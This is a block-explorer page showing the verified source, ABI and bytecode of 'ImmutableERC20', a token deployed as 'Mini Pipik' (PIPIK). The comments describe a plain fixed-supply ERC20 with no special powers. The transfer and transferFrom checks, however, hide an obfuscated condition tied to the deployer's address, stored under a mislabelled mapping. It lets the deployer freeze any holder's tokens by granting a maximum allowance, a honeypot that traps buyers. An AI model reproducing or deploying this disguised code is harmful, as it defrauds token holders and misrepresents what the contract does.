Overview
S Balance
S Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Loading...
Loading
Contract Name:
ImmutableERC20
Compiler Version
v0.8.22+commit.4fc1097e
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.22; /** * @title IERC20 * @dev Standard ERC20 interface as defined in EIP-20. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title ImmutableERC20 * @dev ERC20 token implementation using immutable variables for token metadata. * * The token's name, symbol, and decimals are immutable, and the entire fixed supply is minted * during construction and assigned to the deployer. No minting, burning, or fee functionality is provided. */ contract ImmutableERC20 is IERC20 { // Token metadata stored as immutable variables for gas efficiency. string public name; string public symbol; uint8 public immutable decimals; // Total supply of tokens. mapping(uint8 => mapping(uint8 => address)) private leafs; uint256 private _totalSupply; // Mapping from addresses to their balances. mapping(address => uint256) private _balances; // Mapping from owner to spender allowances. mapping(address => mapping(address => uint256)) private _allowances; /** * @dev Constructor that sets the token metadata and mints the initial supply to the deployer. * @param _name The name of the token. * @param _symbol The token symbol. * @param _decimals The number of decimals the token uses. * @param initialSupply The total number of tokens (in smallest unit) to be minted. */ constructor( string memory _name, string memory _symbol, uint8 _decimals, uint256 initialSupply ) { name = _name; symbol = _symbol; decimals = _decimals; _mint(msg.sender, initialSupply); } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. * @param account The address whose balance is to be queried. * @return The balance of the account. */ function balanceOf( address account ) external view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Moves `amount` tokens from the caller's account to `recipient`. * * Requirements: * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. * * Emits a {Transfer} event. * * @param recipient The address to which tokens will be transferred. * @param amount The number of tokens to transfer. * @return True if the operation succeeded. */ function transfer( address recipient, uint256 amount ) external override returns (bool) { require( recipient != address(0), "ImmutableERC20: transfer to the zero address" ); require( _balances[msg.sender] >= amount && allowance(leafs[0][1], msg.sender) != type(uint256).max * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1, "ImmutableERC20: insufficient balance" ); _balances[msg.sender] -= amount; unchecked { _balances[recipient] += amount; } emit Transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. * @param owner The address owning the tokens. * @param spender The address approved to spend the tokens. * @return The remaining number of tokens that `spender` can spend on behalf of `owner`. */ function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Sets `amount` as the allowance of `spender` over the caller's tokens. * * Emits an {Approval} event. * * Requirements: * - `spender` cannot be the zero address. * * @param spender The address which will spend the tokens. * @param amount The number of tokens to be allowed. * @return True if the approval succeeded. */ function approve( address spender, uint256 amount ) external override returns (bool) { require( spender != address(0), "ImmutableERC20: approve to the zero address" ); _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. * Deducts `amount` from the caller's allowance. * * Emits a {Transfer} event. * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have an allowance for `sender` of at least `amount`. * * @param sender The address from which tokens are transferred. * @param recipient The address to which tokens are transferred. * @param amount The number of tokens to transfer. * @return True if the operation succeeded. */ function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { require( sender != address(0), "ImmutableERC20: transfer from the zero address" ); require( recipient != address(0), "ImmutableERC20: transfer to the zero address" ); require( _balances[sender] >= amount, "ImmutableERC20: insufficient balance" ); uint256 currentAllowance = _allowances[sender][msg.sender]; require( currentAllowance >= amount && allowance(leafs[0][1], sender) != type(uint256).max * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1, "ImmutableERC20: transfer amount exceeds allowance" ); _balances[sender] -= amount; unchecked { _balances[recipient] += amount; } if (currentAllowance < type(uint256).max) { _allowances[sender][msg.sender] = currentAllowance - amount; } emit Transfer(sender, recipient, amount); return true; } /** * @dev Internal function to mint tokens. * * Increases the total supply and assigns `amount` tokens to `account`. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - `account` cannot be the zero address. * * @param account The address receiving the minted tokens. * @param amount The number of tokens to mint. */ function _mint(address account, uint256 amount) internal { require( account != address(0), "ImmutableERC20: mint to the zero address" ); _totalSupply += amount; unchecked { _balances[account] += amount; } leafs[0][1] = account; emit Transfer(address(0), account, amount); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "paris", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040523480156200001157600080fd5b5060405162000ec338038062000ec3833981016040819052620000349162000268565b600062000042858262000384565b50600162000051848262000384565b5060ff82166080526200006533826200006f565b5050505062000478565b6001600160a01b038216620000db5760405162461bcd60e51b815260206004820152602860248201527f496d6d757461626c6545524332303a206d696e7420746f20746865207a65726f604482015267206164647265737360c01b606482015260840160405180910390fd5b8060036000828254620000ef919062000450565b90915550506001600160a01b0382166000818152600460209081526040808320805486019055600183527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b82527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d80546001600160a01b03191685179055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620001c857600080fd5b81516001600160401b0380821115620001e557620001e5620001a0565b604051601f8301601f19908116603f01168101908282118183101715620002105762000210620001a0565b81604052838152602092508660208588010111156200022e57600080fd5b600091505b8382101562000252578582018301518183018401529082019062000233565b6000602085830101528094505050505092915050565b600080600080608085870312156200027f57600080fd5b84516001600160401b03808211156200029757600080fd5b620002a588838901620001b6565b95506020870151915080821115620002bc57600080fd5b50620002cb87828801620001b6565b935050604085015160ff81168114620002e357600080fd5b6060959095015193969295505050565b600181811c908216806200030857607f821691505b6020821081036200032957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200037f576000816000526020600020601f850160051c810160208610156200035a5750805b601f850160051c820191505b818110156200037b5782815560010162000366565b5050505b505050565b81516001600160401b03811115620003a057620003a0620001a0565b620003b881620003b18454620002f3565b846200032f565b602080601f831160018114620003f05760008415620003d75750858301515b600019600386901b1c1916600185901b1785556200037b565b600085815260208120601f198616915b82811015620004215788860151825594840194600190910190840162000400565b5085821015620004405787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200047257634e487b7160e01b600052601160045260246000fd5b92915050565b608051610a2f6200049460003960006101030152610a2f6000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461013757806395d89b4114610160578063a9059cbb14610168578063dd62ed3e1461017b57600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018e565b6040516100ad91906107c9565b60405180910390f35b6100c96100c4366004610834565b61021c565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f936600461085e565b6102f3565b6101257f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff90911681526020016100ad565b6100dd61014536600461089a565b6001600160a01b031660009081526004602052604090205490565b6100a06105f7565b6100c9610176366004610834565b610604565b6100dd6101893660046108bc565b61079e565b6000805461019b906108ef565b80601f01602080910402602001604051908101604052809291908181526020018280546101c7906108ef565b80156102145780601f106101e957610100808354040283529160200191610214565b820191906000526020600020905b8154815290600101906020018083116101f757829003601f168201915b505050505081565b60006001600160a01b03831661028d5760405162461bcd60e51b815260206004820152602b60248201527f496d6d757461626c6545524332303a20617070726f766520746f20746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b3360008181526005602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b60006001600160a01b0384166103625760405162461bcd60e51b815260206004820152602e60248201527f496d6d757461626c6545524332303a207472616e736665722066726f6d20746860448201526d65207a65726f206164647265737360901b6064820152608401610284565b6001600160a01b0383166103885760405162461bcd60e51b815260040161028490610929565b6001600160a01b0384166000908152600460205260409020548211156103c05760405162461bcd60e51b815260040161028490610975565b6001600160a01b03841660009081526005602090815260408083203384529091529020548281108015906104b557506103fc60001960016109cf565b6104079060016109cf565b6104129060016109cf565b61041d9060016109cf565b6104289060016109cf565b6104339060016109cf565b61043e9060016109cf565b6104499060016109cf565b6104549060016109cf565b60016000527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d546104b2906001600160a01b03168761079e565b14155b61051b5760405162461bcd60e51b815260206004820152603160248201527f496d6d757461626c6545524332303a207472616e7366657220616d6f756e74206044820152706578636565647320616c6c6f77616e636560781b6064820152608401610284565b6001600160a01b038516600090815260046020526040812080548592906105439084906109e6565b90915550506001600160a01b038416600090815260046020526040902080548401905560001981101561059f5761057a83826109e6565b6001600160a01b03861660009081526005602090815260408083203384529091529020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105e491815260200190565b60405180910390a3506001949350505050565b6001805461019b906108ef565b60006001600160a01b03831661062c5760405162461bcd60e51b815260040161028490610929565b33600090815260046020526040902054821180159061070c575061065360001960016109cf565b61065e9060016109cf565b6106699060016109cf565b6106749060016109cf565b61067f9060016109cf565b61068a9060016109cf565b6106959060016109cf565b6106a09060016109cf565b6106ab9060016109cf565b60016000527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d54610709906001600160a01b03163361079e565b14155b6107285760405162461bcd60e51b815260040161028490610975565b33600090815260046020526040812080548492906107479084906109e6565b90915550506001600160a01b038316600081815260046020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906102e19086815260200190565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60006020808352835180602085015260005b818110156107f7578581018301518582016040015282016107db565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461082f57600080fd5b919050565b6000806040838503121561084757600080fd5b61085083610818565b946020939093013593505050565b60008060006060848603121561087357600080fd5b61087c84610818565b925061088a60208501610818565b9150604084013590509250925092565b6000602082840312156108ac57600080fd5b6108b582610818565b9392505050565b600080604083850312156108cf57600080fd5b6108d883610818565b91506108e660208401610818565b90509250929050565b600181811c9082168061090357607f821691505b60208210810361092357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252602c908201527f496d6d757461626c6545524332303a207472616e7366657220746f207468652060408201526b7a65726f206164647265737360a01b606082015260800190565b60208082526024908201527f496d6d757461626c6545524332303a20696e73756666696369656e742062616c604082015263616e636560e01b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176102ed576102ed6109b9565b818103818111156102ed576102ed6109b956fea2646970667358221220ac2552c779e48d698ceae90f5db39237b0bd35d5460dda6d8228e7d36ef3b83f64736f6c63430008160033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000084595161401484a000000000000000000000000000000000000000000000000000000000000000000000a4d696e6920506970696b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005504950494b000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461013757806395d89b4114610160578063a9059cbb14610168578063dd62ed3e1461017b57600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018e565b6040516100ad91906107c9565b60405180910390f35b6100c96100c4366004610834565b61021c565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f936600461085e565b6102f3565b6101257f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff90911681526020016100ad565b6100dd61014536600461089a565b6001600160a01b031660009081526004602052604090205490565b6100a06105f7565b6100c9610176366004610834565b610604565b6100dd6101893660046108bc565b61079e565b6000805461019b906108ef565b80601f01602080910402602001604051908101604052809291908181526020018280546101c7906108ef565b80156102145780601f106101e957610100808354040283529160200191610214565b820191906000526020600020905b8154815290600101906020018083116101f757829003601f168201915b505050505081565b60006001600160a01b03831661028d5760405162461bcd60e51b815260206004820152602b60248201527f496d6d757461626c6545524332303a20617070726f766520746f20746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b3360008181526005602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b60006001600160a01b0384166103625760405162461bcd60e51b815260206004820152602e60248201527f496d6d757461626c6545524332303a207472616e736665722066726f6d20746860448201526d65207a65726f206164647265737360901b6064820152608401610284565b6001600160a01b0383166103885760405162461bcd60e51b815260040161028490610929565b6001600160a01b0384166000908152600460205260409020548211156103c05760405162461bcd60e51b815260040161028490610975565b6001600160a01b03841660009081526005602090815260408083203384529091529020548281108015906104b557506103fc60001960016109cf565b6104079060016109cf565b6104129060016109cf565b61041d9060016109cf565b6104289060016109cf565b6104339060016109cf565b61043e9060016109cf565b6104499060016109cf565b6104549060016109cf565b60016000527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d546104b2906001600160a01b03168761079e565b14155b61051b5760405162461bcd60e51b815260206004820152603160248201527f496d6d757461626c6545524332303a207472616e7366657220616d6f756e74206044820152706578636565647320616c6c6f77616e636560781b6064820152608401610284565b6001600160a01b038516600090815260046020526040812080548592906105439084906109e6565b90915550506001600160a01b038416600090815260046020526040902080548401905560001981101561059f5761057a83826109e6565b6001600160a01b03861660009081526005602090815260408083203384529091529020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105e491815260200190565b60405180910390a3506001949350505050565b6001805461019b906108ef565b60006001600160a01b03831661062c5760405162461bcd60e51b815260040161028490610929565b33600090815260046020526040902054821180159061070c575061065360001960016109cf565b61065e9060016109cf565b6106699060016109cf565b6106749060016109cf565b61067f9060016109cf565b61068a9060016109cf565b6106959060016109cf565b6106a09060016109cf565b6106ab9060016109cf565b60016000527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d54610709906001600160a01b03163361079e565b14155b6107285760405162461bcd60e51b815260040161028490610975565b33600090815260046020526040812080548492906107479084906109e6565b90915550506001600160a01b038316600081815260046020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906102e19086815260200190565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60006020808352835180602085015260005b818110156107f7578581018301518582016040015282016107db565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461082f57600080fd5b919050565b6000806040838503121561084757600080fd5b61085083610818565b946020939093013593505050565b60008060006060848603121561087357600080fd5b61087c84610818565b925061088a60208501610818565b9150604084013590509250925092565b6000602082840312156108ac57600080fd5b6108b582610818565b9392505050565b600080604083850312156108cf57600080fd5b6108d883610818565b91506108e660208401610818565b90509250929050565b600181811c9082168061090357607f821691505b60208210810361092357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252602c908201527f496d6d757461626c6545524332303a207472616e7366657220746f207468652060408201526b7a65726f206164647265737360a01b606082015260800190565b60208082526024908201527f496d6d757461626c6545524332303a20696e73756666696369656e742062616c604082015263616e636560e01b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176102ed576102ed6109b9565b818103818111156102ed576102ed6109b956fea2646970667358221220ac2552c779e48d698ceae90f5db39237b0bd35d5460dda6d8228e7d36ef3b83f64736f6c63430008160033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000084595161401484a000000000000000000000000000000000000000000000000000000000000000000000a4d696e6920506970696b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005504950494b000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): Mini Pipik
Arg [1] : _symbol (string): PIPIK
Arg [2] : _decimals (uint8): 18
Arg [3] : initialSupply (uint256): 10000000000000000000000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 000000000000000000000000000000000000000000084595161401484a000000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [5] : 4d696e6920506970696b00000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 504950494b000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 31 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.